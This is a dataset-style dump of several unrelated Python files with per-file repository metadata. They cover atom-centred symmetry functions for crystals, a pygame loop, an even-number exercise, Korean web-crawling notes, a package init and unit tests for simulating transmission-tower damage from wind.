neighbors[i][k][0].coords Rij_vector = Rj - Ri Rij = np.linalg.norm(Rij_vector) Rik_vector = Rk - Ri Rik = np.linalg.norm(Rik_vector) Rjk_vector = Rk - Rj Rjk = np.linalg.norm(Rjk_vector) cos_ijk = np.dot(Rij_vector, Rik_vector)/ Rij / Rik term = (1. + lamBda * cos_ijk) ** zeta term *= np.exp(-eta * (Rij ** 2. + Rik ** 2. + Rjk ** 2.) / Rc ** 2.) term *= func(Rij) * func(Rik) * func(Rjk) G4 += term G4 *= 2. ** (1. - zeta) return G4 def G4_prime(crystal, i, ep_type, ni, functional='Cosine', Rc=6.5, eta=2, lamBda=1, zeta=1, p=1, q=0): """ Calculate the derivative of the G4 symmetry function. Parameters ---------- crystal: object Pymatgen crystal structure object. i: int The index of core element. ep_types: str The allowed element pair presents in the symmetry function calculation. ni: array of neighbors information Neighbors information of the core element. functional: str Cutoff functional. Default is Cosine functional. Rc: float Cutoff radius which the symmetry function will be calculated. Default value is 6.5 as suggested by Behler. eta: float The parameter of G4 symmetry function. lamBda: float LamBda take values from -1 to +1 shifting the maxima of the cosine function to 0 to 180 degree. zeta: float The angular resolution. Zeta with high values give a narrower range of the nonzero G4 values. Different zeta values is preferrable for distribution of angles centered at each reference atom. In some sense, zeta is illustrated as the eta value. p: int The atom that the force is acting on. q: int Direction of force. Returns ------- G4p: float The derivative of G4 symmetry function. """ # Cutoff functional if functional == 'Cosine': func = Cosine(Rc=Rc) elif functional == 'Polynomial': func = Polynomial(Rc=Rc) elif functional == 'TangentH': func = TangentH(Rc=Rc) else: raise NotImplementedError('Unknown cutoff functional: %s' %functional) # Get positions of core atoms Ri = crystal.cart_coords[i] counts = range(len(ni)) G4p = 0 for j in counts: for k in counts[(j+1):]: n1 = ni[j][0].species_string n2 = ni[k][0].species_string if (ep_type[0] == n1 and ep_type[1] == n2) or \ (ep_type[1] == n1 and ep_type[0] == n2): Rj = ni[j][0].coords Rk = ni[k][0].coords Rij_vector = Rj - Ri Rij = np.linalg.norm(Rij_vector) Rik_vector = Rk - Ri Rik = np.linalg.norm(Rik_vector) Rjk_vector = Rk - Rj Rjk = np.linalg.norm(Rjk_vector) cos_ijk = np.dot(Rij_vector, Rik_vector)/ Rij / Rik dcos_ijk = dcos_dRpq(i, ni[j][2], ni[k][2], Ri, Rj, Rk, p, q) cutoff = func(Rij) * func(Rik) * func(Rjk) cutoff_Rik_Rjk = func(Rik) * func(Rjk) cutoff_Rij_Rjk = func(Rij) * func(Rjk) cutoff_Rij_Rik = func(Rij) * func(Rik) dRij = dRab_dRpq(i, ni[j][2], Ri, Rj, p, q) dRik = dRab_dRpq(i, ni[k][2], Ri, Rk, p, q) dRjk = dRab_dRpq(ni[j][2], ni[k][2], Rj, Rk, p, q) cutoff_Rij_derivative = func.derivative(Rij) * dRij cutoff_Rik_derivative = func.derivative(Rik) * dRik cutoff_Rjk_derivative = func.derivative(Rjk) * dRjk lamBda_term = 1. + lamBda * cos_ijk first_term = lamBda * zeta * dcos_ijk first_term += (-2. * eta * lamBda_term / (Rc ** 2)) * \ (Rij * dRij + Rik * dRik + Rjk * dRjk) first_term *= cutoff second_term = cutoff_Rij_derivative * cutoff_Rik_Rjk + \ cutoff_Rik_derivative * cutoff_Rij_Rjk + \ cutoff_Rjk_derivative * cutoff_Rij_Rik second_term *= lamBda_term term = first_term + second_term term *= lamBda_term ** (zeta - 1.) term *= np.exp(-eta * (Rij ** 2. + Rik ** 2. + Rjk ** 2.) / Rc ** 2.) G4p += term G4p *= 2. ** (1. - zeta) return G4p def G5(crystal, i, ep_type, functional='Cosine', Rc=6.5, eta=2, lamBda=1, zeta=1): """ Calculate G5 symmetry function. G5 function is also an angular function utilizing the cosine funtion of the angle theta_ijk centered at atom i. The difference between G5 and G4 is that G5 does not depend on the Rjk value. Hence, the G5 will generate a greater value after the summation compared to G4. One can refer to equation 9 in: Behler, J. (2011). Atom-centered symmetry functions for constructing high-dimensional neural network potentials. The Journal of chemical physics, 134(7), 074106. Parameters ---------- crystal: object Pymatgen crystal structure object. i: int The index of core element. ep_types: str The allowed element pair presents in the symmetry function calculation. functional: str Cutoff functional. Default is Cosine functional. Rc: float Cutoff radius which the symmetry function will be calculated. Default value is 6.5 as suggested by Behler. eta: float The parameter of G4 symmetry function. lamBda: float LamBda take values from -1 to +1 shifting the maxima of the cosine function to 0 to 180 degree. zeta: float The angular resolution. Zeta with high values give a narrower range of the nonzero G4 values. Different zeta values is preferrable for distribution of angles centered at each reference atom. In some sense, zeta is illustrated as the eta value. Returns ------- G5: float G5 symmetry value. """ # Cutoff functional if functional == 'Cosine': func = Cosine(Rc=Rc) elif functional == 'Polynomial': func = Polynomial(Rc=Rc) elif functional == 'TangentH': func = TangentH(Rc=Rc) else: raise NotImplementedError('Unknown cutoff functional: %s' %functional) # Get core atoms information Ri = crystal.cart_coords[i] # Get neighbors information neighbors = crystal.get_all_neighbors(Rc) G5 = 0.0 for j in range(len(neighbors[i])-1): for k in range(j+1, len(neighbors[i])): n1 = neighbors[i][j][0] n2 = neighbors[i][k][0] if (ep_type[0] == n1.species_string \ and ep_type[1] == n2.species_string) or \ (ep_type[1] == n1.species_string and \ ep_type[0] == n2.species_string): Rij_vector = Ri - n1.coords Rij = np.linalg.norm(Rij_vector) Rik_vector = Ri - n2.coords Rik = np.linalg.norm(Rik_vector) cos_ijk = np.dot(Rij_vector, Rik_vector)/ Rij / Rik term = (1. + lamBda * cos_ijk) ** zeta term *= np.exp(-eta * (Rij ** 2. + Rik ** 2.) / Rc ** 2.) term *= func(Rij) * func(Rik) G5 += term G5 *= 2. ** (1. - zeta) return G5 def G5_prime(crystal, i, ep_type, ni, functional='Cosine', Rc=6.5, eta=2, lamBda=1, zeta=1, p=1, q=0): """ Calculate the derivative of the G5 symmetry function. Parameters ---------- crystal: object Pymatgen crystal structure object. i: int The index of core element. ep_types: str The allowed element pair presents in the symmetry function calculation. ni: array of neighbors information Neighbors information of the core element. functional: str Cutoff functional. Default is Cosine functional. Rc: float Cutoff radius which the symmetry function will be calculated. Default value is 6.5 as suggested by Behler. eta: float The parameter of G4 symmetry function. lamBda: float LamBda take values from -1 to +1 shifting the maxima of the cosine function to 0 to 180 degree. zeta: float The angular resolution. Zeta with high values give a narrower range of the nonzero G4 values. Different zeta values is preferrable for distribution of angles centered at each reference atom. In some sense, zeta is illustrated as the eta value. p: int The atom that the force is acting on. q: int Direction of force. Returns ------- G5p: float The derivative of G5 symmetry function. """ if functional == 'Cosine': func = Cosine(Rc=Rc) elif functional == 'Polynomial': func = Polynomial(Rc=Rc) elif functional == 'TangentH': func = TangentH(Rc=Rc) else: raise NotImplementedError('Unknown cutoff functional: %s' %functional) # Get positions of core atoms Ri = crystal.cart_coords[i] counts = range(len(ni)) G5p = 0 for j in counts: for k in counts[(j+1):]: n1 = ni[j][0].species_string n2 = ni[k][0].species_string if (ep_type[0] == n1 and ep_type[1] == n2) or \ (ep_type[1] == n1 and ep_type[0] == n2): Rj = ni[j][0].coords Rk = ni[k][0].coords Rij_vector = Rj - Ri Rik_vector = Rk - Ri Rij = np.linalg.norm(Rij_vector) Rik = np.linalg.norm(Rik_vector) cos_ijk = np.dot(Rij_vector, Rik_vector) / Rij / Rik dcos_ijk = dcos_dRpq(i, ni[j][2], ni[k][2], Ri, Rj, Rk, p, q) cutoff = func(Rij) * func(Rik) cutoff_Rij_derivative = func.derivative(Rij) * \ dRab_dRpq(i, ni[j][2], Ri, Rj, p, q) cutoff_Rik_derivative = func.derivative(Rik) * \ dRab_dRpq(i, ni[k][2], Ri, Rk, p, q) lamBda_term = 1. + lamBda * cos_ijk first_term = -2 * eta / Rc ** 2 * lamBda_term * \ (Rij * dRab_dRpq(i, ni[j][2], Ri, Rj, p, q) + Rik * dRab_dRpq(i, ni[k][2], Ri, Rk, p, q)) first_term += lamBda * zeta * dcos_ijk first_term *= cutoff second_term = lamBda_term * \ (cutoff_Rij_derivative * func(Rik) + cutoff_Rik_derivative * func(Rij)) term = first_term + second_term term *= lamBda_term ** (zeta - 1.) term *= np.exp(-eta * (Rij ** 2. + Rik ** 2.) / Rc ** 2.) G5p += term G5p *= 2. ** (1. - zeta) return G5p # Test run from pymatgen.core.structure import Structure crystal = Structure.from_file('POSCARs/POSCAR-NaCl') sym_params = {'G3': {'kappa': np.logspace(np.log10(0.05), np.log10(5.), num=4), 'Rc': 6.5}, 'G4': {'eta': [0.005], 'zeta': [1., 4.], 'lamBda': [1., -1.]}} g = Gaussian(crystal, sym_params, derivative=True) descriptor = g.Gs # all symmetry calculation of G3 and G4 print(descriptor)
35.014215
80
0.454045
6,080
56,653
4.15773
0.072039
0.010879
0.015784
0.014241
0.754816
0.723525
0.69441
0.673049
0.64785
0.62811
0
0.024164
0.456534
56,653
1,617
81
35.035869
0.796778
0.271971
0
0.645554
0
0
0.026828
0
0
0
0
0
0
1
0.038977
false
0.001218
0.003654
0.003654
0.090134
0.001218
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1cb486405a8990909a130cac242d9660755624c6
323
py
Python
main.py
FarDust/keravis
917065a63858939e7e89288388d27ec74adf2536
[ "MIT" ]
1
2021-11-06T22:28:14.000Z
2021-11-06T22:28:14.000Z
main.py
FarDust/keravis
917065a63858939e7e89288388d27ec74adf2536
[ "MIT" ]
null
null
null
main.py
FarDust/keravis
917065a63858939e7e89288388d27ec74adf2536
[ "MIT" ]
null
null
null
import pygame from game import Game from fever import Curve from pygame.math import Vector2 as Vec2 import random import numpy as np import matplotlib.pyplot as plt game = Game(640, 480) curve = Curve(Vec2(100, 100)) game.curve = curve while 1: action = random.choice([0, 1, 2]) frame, reward = game.step(action)
20.1875
39
0.733746
53
323
4.471698
0.528302
0.084388
0
0
0
0
0
0
0
0
0
0.071698
0.179567
323
15
40
21.533333
0.822642
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.538462
0
0.538462
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
1cbe55b6257f47daf2d98f8c386aabccf234ce6f
568
py
Python
WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/Intro_to_Python/assignment_answers/A08_callable_objects.py
webdevhub42/Lambda
b04b84fb5b82fe7c8b12680149e25ae0d27a0960
[ "MIT" ]
null
null
null
WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/Intro_to_Python/assignment_answers/A08_callable_objects.py
webdevhub42/Lambda
b04b84fb5b82fe7c8b12680149e25ae0d27a0960
[ "MIT" ]
null
null
null
WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/Intro_to_Python/assignment_answers/A08_callable_objects.py
webdevhub42/Lambda
b04b84fb5b82fe7c8b12680149e25ae0d27a0960
[ "MIT" ]
null
null
null
""" Assignment 8 1. Write a function that will return True if the passed-in number is even, and False if it is odd. 2. Write a second function that will call the first with values 0-6 and print each result on a new line. 3. Invoke the second function. The signature of the first function should be: `is_even(num: int) -> bool` The signature of the second function should be: `test_is_even() -> None` """ # Answer def is_even(num: int) -> bool: return num % 2 == 0 def test_is_even() -> None: for i in range(7): print(is_even(i)) test_is_even()
23.666667
77
0.693662
103
568
3.737864
0.504854
0.109091
0.077922
0.088312
0.083117
0
0
0
0
0
0
0.020089
0.211268
568
23
78
24.695652
0.839286
0.714789
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0
0.166667
0.5
0.166667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
1cc7f91481a651e47a6920d18dc4adc28eb84b29
734
py
Python
Python/Crawling/react/description.py
sug5806/TIL
2309d8a270e4a7b8961268a40b6492c5db317e37
[ "MIT" ]
null
null
null
Python/Crawling/react/description.py
sug5806/TIL
2309d8a270e4a7b8961268a40b6492c5db317e37
[ "MIT" ]
102
2020-02-12T00:10:33.000Z
2022-03-11T23:58:41.000Z
Python/Crawling/react/description.py
sug5806/TIL
2309d8a270e4a7b8961268a40b6492c5db317e37
[ "MIT" ]
null
null
null
""" # requests : 웹 사이트에 접속, 데이터를 받아오는 역할 # * 페이지 보기를 했을때 나오는 코드로 이용 # BeautifulSoup : 데이터를 HTML로 해석하는 역할 # 선행지식 : HTML에 대한 이해, CSS Selector를 만드는 방법 # 요소검사를 통해 확인할 수 있는 소스코드 or 업데이트되는 환경일 때 1) selennium : 웹 브라우저 자체를 컨트롤해서 Crawling(실시간으로 업데이트된 것을 가져오기 위해) * 요소를 선택해서 사용자의 동작을 흉내낸다. : 클릭, 키보드 입력 * 이때는 선택자) xpath, css * 우클릭해서 copy를 하면 된다 그러나 selector에서 지원되지 않는 문법이 있으므로 카피하는것은 비추천 * xpath는 그냥 2) BeatuifulSoup : 얻은 데이터를 HTML로 해석 request : selenium : 컨트롤해야 하기때문에 request보다 느리다 페이지 이동을해도 페이지가 새로고침이 안되면 처음부터 다 불러와놓고 일부분만 보여준다거나 실시간으로 가져온다거나 둘중 하나이다 풀링 : 우리가 서버로 조회하는것 푸슁 : 서버가 우리에게 전달해주는것 days를 눌렀을떄 Headers로 보면 requestURL로 보면 링크가 있는데 어가면 막혀있다 * reffer로 막아놓았다 확인하는 방법은 소스코드에서 아무 태그의 링크를 해당 URL로 바꿔보면 알수있다 """
23.677419
70
0.701635
130
734
3.961538
0.930769
0.034951
0
0
0
0
0
0
0
0
0
0.003623
0.247956
734
30
71
24.466667
0.929348
0.986376
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
1ced6a95e37a5db20bcade5813048a6919d7025f
527
py
Python
nessai/__init__.py
Rodrigo-Tenorio/nessai
2b4175da61b3a7250d1154a126ad93481836df0d
[ "MIT" ]
16
2021-02-18T00:04:54.000Z
2021-09-01T03:25:45.000Z
nessai/__init__.py
Rodrigo-Tenorio/nessai
2b4175da61b3a7250d1154a126ad93481836df0d
[ "MIT" ]
59
2021-03-09T11:05:37.000Z
2022-03-30T14:21:14.000Z
nessai/__init__.py
Rodrigo-Tenorio/nessai
2b4175da61b3a7250d1154a126ad93481836df0d
[ "MIT" ]
1
2022-03-25T12:28:16.000Z
2022-03-25T12:28:16.000Z
import logging try: from importlib.metadata import version, PackageNotFoundError except ImportError: # for Python < 3.8 from importlib_metadata import version, PackageNotFoundError try: __version__ = version(__name__) except PackageNotFoundError: # package is not installed pass logging.getLogger(__name__).addHandler(logging.NullHandler()) __all__ = ['flowsampler' 'nestedsampler' 'proposal', 'model' 'flowmodel', 'flows', 'utils']
21.08
64
0.660342
46
527
7.195652
0.673913
0.07855
0.126888
0.163142
0.326284
0.326284
0
0
0
0
0
0.005115
0.258065
527
24
65
21.958333
0.841432
0.077799
0
0.117647
0
0
0.115942
0
0
0
0
0
0
1
0
false
0.058824
0.235294
0
0.235294
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
1cf31d91a68f85b7dc9e6482e2e53f102522e7ac
27,338
py
Python
wistl/tests/test_line.py
GeoscienceAustralia/wistl
fa8b6aeaabb902ea72085b3552b5167cd20040a4
[ "Apache-2.0" ]
null
null
null
wistl/tests/test_line.py
GeoscienceAustralia/wistl
fa8b6aeaabb902ea72085b3552b5167cd20040a4
[ "Apache-2.0" ]
2
2021-11-15T17:50:15.000Z
2021-11-26T05:37:41.000Z
wistl/tests/test_line.py
GeoscienceAustralia/wistl
fa8b6aeaabb902ea72085b3552b5167cd20040a4
[ "Apache-2.0" ]
1
2021-01-18T06:35:43.000Z
2021-01-18T06:35:43.000Z
import unittest import os import numpy as np import copy import logging import pandas as pd from scipy.stats import itemfreq from wistl.config import Config from wistl.line import Line, adjust_value_to_line, adjust_index_to_line from wistl.tests.test_config import assertDeepAlmostEqual from wistl.tests.test_tower import create_wind_given_bearing # from wistl.transmission_network import read_shape_file, populate_df_lines, \ # populate_df_towers #ATOL = 0.0005 #RTOL = 0.01 BASE_DIR = os.path.dirname(os.path.realpath(__file__)) class TestLine1(unittest.TestCase): @classmethod def setUpClass(cls): logging.basicConfig(level=logging.ERROR) cls.logger = logging.getLogger(__name__) cls.cfg = Config(os.path.join(BASE_DIR, 'test.cfg'), logger=cls.logger) event_name = 'test1' event_scale = 3.0 path_event = os.path.join(cls.cfg.path_wind_event_base, event_name) path_output = os.path.join(cls.cfg.path_output, 'test1_s3.0') cls.no_sims = 500000 # LineB dic_line = cls.cfg.lines['LineB'].copy() dic_line.update({'name': 'LineB', 'no_sims': cls.no_sims, 'damage_states': cls.cfg.damage_states, 'non_collapse': cls.cfg.non_collapse, 'event_id': cls.cfg.event_id_format.format(event_name=event_name, scale=event_scale), 'scale': event_scale, 'rtol': cls.cfg.rtol, 'atol': cls.cfg.atol, 'dmg_threshold': cls.cfg.dmg_threshold, 'rnd_state': np.random.RandomState(0), 'path_event': path_event, 'path_output': path_output, 'dic_towers': cls.cfg.towers_by_line['LineB']}) cls.line = Line(**dic_line) for _, tower in cls.line.towers.items(): tower.init() tower._wind = create_wind_given_bearing(10.0, 1.0) tower.axisaz = 11.0 @classmethod def tearDown(cls): try: os.remove(cls.line.file_output) os.removedirs(cls.line.output_path) except: pass def test_repr(self): expected = f'Line(name=LineB, no_towers=22, event_id=test1_s3.0)' self.assertEqual(repr(self.line), expected) def test_towers(self): self.assertEqual(self.line.no_towers, 22) self.assertEqual(self.line.dmg_time_idx, (0, 2)) #print(self.line.time) #self.assertEqual(self.line.no_time, 3) self.assertEqual(self.line.towers[0].name, 'T23') self.assertEqual(self.line.towers[0].idl, 0) self.assertEqual(self.line.towers[0].idn, 'T23') self.assertEqual(self.line.towers[0].no_time, 2) self.assertEqual(self.line.towers[0].no_sims, self.no_sims) self.assertEqual(self.line.towers[0].damage_states, ['minor', 'collapse']) self.assertAlmostEqual(self.line.towers[0].scale, 3.0) def test_time(self): pd.testing.assert_index_equal(self.line.time, self.line.towers[0].wind.index[0:2]) def test_no_time(self): self.assertEqual(self.line.no_time, 2) def test_adjust_value_to_line1(self): line_dmg_time_idx = (0, 3) tower_dmg_time_idx = (0, 2) prob = [1, 2] result = adjust_value_to_line(line_dmg_time_idx, tower_dmg_time_idx, prob) expected = np.array([1, 2, 0]) np.testing.assert_equal(result, expected) def test_adjust_value_to_line2(self): line_dmg_time_idx = (1870, 1879) prob = [1, 2, 3, 4] tower_dmg_time_idx = (1874, 1878) result = adjust_value_to_line(line_dmg_time_idx, tower_dmg_time_idx, prob) expected = np.array([0, 0, 0, 0, 1, 2, 3, 4, 0]) np.testing.assert_equal(result, expected) def test_adjust_index_to_line1(self): line_dmg_time_idx = (0, 3) tower_dmg_time_idx = (0, 2) prob = np.array([0, 1, 1, 0]) idt0, idx = adjust_index_to_line(line_dmg_time_idx, tower_dmg_time_idx, prob) self.assertEqual(idt0, 0) expected = np.ones_like(prob, dtype=bool) np.testing.assert_equal(idx, expected) def test_adjust_index_to_line2(self): line_dmg_time_idx = (1870, 1879) prob = np.array([0, 1, 2, 3, 0, 1, 2, 3]) tower_dmg_time_idx = (1874, 1878) idt0, idx = adjust_index_to_line(line_dmg_time_idx, tower_dmg_time_idx, prob) self.assertEqual(idt0, -4) expected = np.ones_like(prob, dtype=bool) np.testing.assert_equal(idx, expected) def test_damage_prob(self): name = 'T26' # for name, tower in self.line1.towers.items(): self.line._damage_prob = None tower = self.line.towers[3] #tower._dmg = None #tower._dmg_sim = None self.assertEqual(tower.name, name) # T26 (in the middle) # o----o----x----o----o # collapse # lognorm.cdf(1.0, 0.03, scale=1.05) p0c = 0.0519 p0gn2 = p0c * 0.125 p0gn1 = p0c * 0.575 p0gp1 = p0c * 0.575 p0gp2 = p0c * 0.125 pc = 1 - (1-p0c)*(1-p0gn2)*(1-p0gn1)*(1-p0gp1)*(1-p0gp2) self.assertAlmostEqual(p0c, tower.dmg['collapse'][0], places=3) #self.assertAlmostEqual(p0c, tower.dmg_sim['collapse'][0], places=3) self.assertAlmostEqual(p0c, self.line.towers[1].dmg['collapse'][0], places=3) self.assertAlmostEqual(p0c, self.line.towers[2].dmg['collapse'][0], places=3) self.assertAlmostEqual(p0c, self.line.towers[4].dmg['collapse'][0], places=3) self.assertAlmostEqual(p0c, self.line.towers[5].dmg['collapse'][0], places=3) self.assertAlmostEqual(p0gn2, tower.collapse_adj[1][0], places=3) self.assertAlmostEqual(p0gn1, tower.collapse_adj[2][0], places=3) self.assertAlmostEqual(p0gp1, tower.collapse_adj[4][0], places=3) self.assertAlmostEqual(p0gp2, tower.collapse_adj[5][0], places=3) self.line.compute_damage_prob() self.assertAlmostEqual( pc, self.line.damage_prob['collapse'][name][0], places=3) # T26 (in the middle) # o----o----x----o----o # minor # lognorm.cdf(1.0, 0.03, scale=1.02) p0m = 0.16105 pm = min(p0m - p0c + pc, 1.0) self.assertAlmostEqual(p0m, tower.dmg['minor'][0], places=3) #self.assertAlmostEqual(p0m, tower.dmg_sim['minor'][0], places=3) self.assertAlmostEqual( pm, self.line.damage_prob['minor'][name][0], places=3) def test_compute_damage_prob_sim(self): name = 'T26' tower = self.line.towers[3] #tower._dmg = None #tower._dmg_id_sim = None #tower._dmg_sim = None self.assertEqual(tower.name, name) # T26 (in the middle) # o----o----x----o----o # collapse # lognorm.cdf(1.0, 0.03, scale=1.05) p0c = 0.0519 p0gn2 = p0c * 0.125 p0gn1 = p0c * 0.575 p0gp1 = p0c * 0.575 p0gp2 = p0c * 0.125 pc = 1 - (1-p0c)*(1-p0gn2)*(1-p0gn1)*(1-p0gp1)*(1-p0gp2) with self.assertLogs('wistl', level='INFO') as cm: self.line.compute_damage_prob() self.line.compute_damage_prob_sim() try: np.testing.assert_allclose( pc, self.line.damage_prob_sim['collapse'][name][0], atol=self.cfg.atol, rtol=self.cfg.rtol) except AssertionError: self.logger.warning( f'P(C) Theory: {pc:.4f}, ' f"Analytical: {self.line.damage_prob['collapse'][name][0]:.4f}, " f"Simulation: {self.line.damage_prob_sim['collapse'][name][0]:.4f}") for _id in range(23, 45): name = f'T{_id}' try: np.testing.assert_allclose(self.line.damage_prob['collapse'][name][0], self.line.damage_prob_sim['collapse'][name][0], atol=self.cfg.atol, rtol=self.cfg.rtol) except AssertionError: self.logger.warning( f'Tower: {name}, collapse ' f"Analytical: {self.line.damage_prob['collapse'][name][0]:.4f}, " f"Simulation: {self.line.damage_prob_sim['collapse'][name][0]:.4f}") # o----o----x----o----o # minor # lognorm.cdf(1.0, 0.02, scale=1.02) p0m = 0.16105 pm = min(p0m - p0c + pc, 1.0) try: self.assertTrue( pm >= self.line.damage_prob_sim['minor'][name][0]) except AssertionError: self.logger.warning( f'P(m) Theory: {pm:.4f}, ' f"Analytical: {self.line.damage_prob['minor'][name][0]:.4f}, " f"Simulation: {self.line.damage_prob_sim['minor'][name][0]:.4f}") # except 32, strainer tower for _id in list(range(23, 32)) + list(range(33, 45)): name = f'T{_id}' try: self.assertTrue(self.line.damage_prob['minor'][name][0] >= self.line.damage_prob_sim['minor'][name][0]) except AssertionError: self.logger.warning( f'Tower: {name}, minor, ' f"Analytical: {self.line.damage_prob['minor'][name][0]:.4f}, " f"Simulation: {self.line.damage_prob_sim['minor'][name][0]:.4f}") def test_compute_damage_prob_sim_no_cascading(self): name = 'T26' tower = self.line.towers[3] #tower._dmg = None #tower._dmg_id_sim = None #tower._dmg_sim = None self.assertEqual(tower.name, name) # T26 (in the middle) # o----o----x----o----o # collapse # lognorm.cdf(1.0, 0.03, scale=1.05) pc = tower.dmg['collapse'] self.line.compute_damage_prob_sim_no_cascading() try: np.testing.assert_allclose( pc, self.line.damage_prob_sim_no_cascading['collapse'][name], atol=self.cfg.atol, rtol=self.cfg.rtol) except AssertionError: self.logger.warning( f'P(C) Theory: {pc[0]}, ' f"Simulation: {self.line.damage_prob_sim_no_cascading['collapse'][name][0]}") # o----o----x----o----o # minor # lognorm.cdf(1.0, 0.02, scale=1.02) pm = tower.dmg['minor'] try: np.testing.assert_allclose( pm, self.line.damage_prob_sim_no_cascading['minor'][name], atol=self.cfg.atol, rtol=self.cfg.rtol) except AssertionError: self.logger.warning( f'P(m) Theory: {pm.values}, ' f"Simulation: {self.line.damage_prob_sim_no_cascading['minor'][name].values}") # except 32, strainer tower for _id in self.line.dmg_towers: name = self.line.towers[_id].name idt0, idt1 = self.line.towers[_id].dmg_time_idx try: np.testing.assert_allclose( self.line.towers[_id].dmg['minor'], self.line.damage_prob_sim_no_cascading['minor'].iloc[idt0:idt1][name], atol=self.cfg.atol, rtol=self.cfg.rtol) except AssertionError: self.logger.warning( f'Tower: {name}, minor, ' f"Theory: {self.line.towers[_id].dmg['minor'].values}, " f"Simulation: {self.line.damage_prob_sim_no_cascading['minor'][name].values}") def test_compute_stats(self): no_sims = 10 rnd_state = np.random.RandomState(1) event_name = 'test1' path_event = os.path.join(self.cfg.path_wind_event_base, event_name) # LineB dic_line = self.cfg.lines['LineB'].copy() dic_line.update({'name': 'LineB', 'no_sims': no_sims, 'damage_states': self.cfg.damage_states, 'non_collapse': self.cfg.non_collapse, 'event_name': event_name, 'scale': 1.0, 'rtol': self.cfg.rtol, 'atol': self.cfg.atol, 'dmg_threshold': self.cfg.dmg_threshold, 'rnd_state': rnd_state, 'path_event': path_event, 'dic_towers': self.cfg.towers_by_line['LineB']}) line = Line(**dic_line) for _, tower in line.towers.items(): tower.init() tower._wind = create_wind_given_bearing(10.0, 1.0) tower.axisaz = 11.0 with self.assertLogs('wistl', level='INFO') as cm: tf_ds = np.zeros((line.no_towers, no_sims, line.no_time)) tf_ds[:line.no_towers, 0:5, 0] = 1 tf_ds[:line.no_towers, 0, 1] = 1 tf_ds_minor = np.zeros_like(tf_ds) tf_ds_minor[:line.no_towers, 0:8, 0] = 1 tf_ds_minor[:line.no_towers, 0:5, 1] = 1 tf_sim = {'minor': tf_ds_minor, 'collapse': tf_ds} est_no_tower, prob_no_tower = line.compute_stats(tf_sim) # 22 * 0.5 + 0 * 0.5 self.assertAlmostEqual(est_no_tower['collapse']['mean'][0], 11.0) # np.sqrt(22*22*0.5-11**2) self.assertAlmostEqual(est_no_tower['collapse']['std'][0], 11.0) # 22 * 0.1 self.assertAlmostEqual(est_no_tower['collapse']['mean'][1], 2.2) # np.sqrt(22*22*0.1-2.2**2) self.assertAlmostEqual(est_no_tower['collapse']['std'][1], 6.6) # 22 * 0.3 + 0 * 0.7 self.assertAlmostEqual(est_no_tower['minor']['mean'][0], 6.6) # np.sqrt(22*22*0.3-6.6**2) self.assertAlmostEqual(est_no_tower['minor']['std'][0], 10.082, places=3) # 22 * 0.4 self.assertAlmostEqual(est_no_tower['minor']['mean'][1], 8.8) # np.sqrt(22*22*0.4-8.8**2) self.assertAlmostEqual(est_no_tower['minor']['std'][1], 10.778, places=2) @unittest.skip("Not efficient") def test_compute_stats_given_timestamp(self): no_sims = 10 rnd_state = np.random.RandomState(1) event_name = 'test1' path_event = os.path.join(self.cfg.path_wind_event_base, event_name) # LineB dic_line = self.cfg.lines['LineB'].copy() dic_line.update({'name': 'LineB', 'no_sims': no_sims, 'damage_states': self.cfg.damage_states, 'non_collapse': self.cfg.non_collapse, 'rtol': cls.cfg.rtol, 'atol': cls.cfg.atol, 'dmg_threshold': cls.cfg.dmg_threshold, 'event_name': event_name, 'scale': 1.0, 'rnd_state': rnd_state, 'path_event': path_event, 'dic_towers': self.cfg.towers_by_line['LineB']}) line = Line(**dic_line) tf_ds = np.zeros((line.no_towers, no_sims)) tf_ds[:line.no_towers, 0:5] = 1 #tf_ds[:line.no_towers, 0] = 1 tf_ds_minor = np.zeros_like(tf_ds) tf_ds_minor[:line.no_towers, 0:8] = 1 #tf_ds_minor[:line.no_towers, 0:5] = 1 tf_sim = {'minor': tf_ds_minor, 'collapse': tf_ds} prob_no_tower = line.compute_stats_given_timestamp(tf_sim) # collapse prob = np.zeros((line.no_towers + 1)) prob[0] = 0.5 prob[-1] = 0.5 np.testing.assert_almost_equal(prob_no_tower['collapse'], prob) # minor prob = np.zeros((line.no_towers + 1)) prob[0] = 0.7 prob[-1] = 0.3 np.testing.assert_almost_equal(prob_no_tower['minor'], prob) def test_write_output(self): pass """ def test_compute_damage_probability_simulation_alt(self): event_id = 'test2' scale = 2.5 self.line1.event_tuple = (event_id, scale) seed = self.cfg.seed[event_id][self.line1.name] rnd_state = np.random.RandomState(seed) rv = rnd_state.uniform(size=(self.cfg.no_sims, len(self.line1.time))) # tf_ds = pd.Panel(np.zeros((self.cfg.no_sims, # len(self.line1.time), # self.line1.no_towers), dtype=bool), # items=range(self.cfg.no_sims), # major_axis=self.line1.time, # minor_axis=self.line1.name_by_line) tf_ds = np.zeros((self.line1.no_towers, self.cfg.no_sims, len(self.line1.time)), dtype=bool) for name, tower in self.line1.towers.items(): tower.determine_damage_isolation_sim(rv) tower.determine_damage_adjacent_sim(seed) # print('{}'.format(name)) # print('{}, {}'.format(tower.prob_damage_isolation['collapse'].max(), # tower.prob_damage_isolation['minor'].max())) # print ('{}'.format(tower.damage_sim['collapse'].head())) # print ('{}'.format(tower.damage_sim['minor'].head())) valid_ = tower.damage_sim['collapse'][ tower.damage_sim['collapse'].id_adj.notnull()] # for key, grouped in tower.damage_sim['collapse'].groupby('id_time'): # # np.testing.assert_almost_equal(len(grouped)/float(self.cfg.no_sims), # tower.prob_damage_isolation.iloc[key, 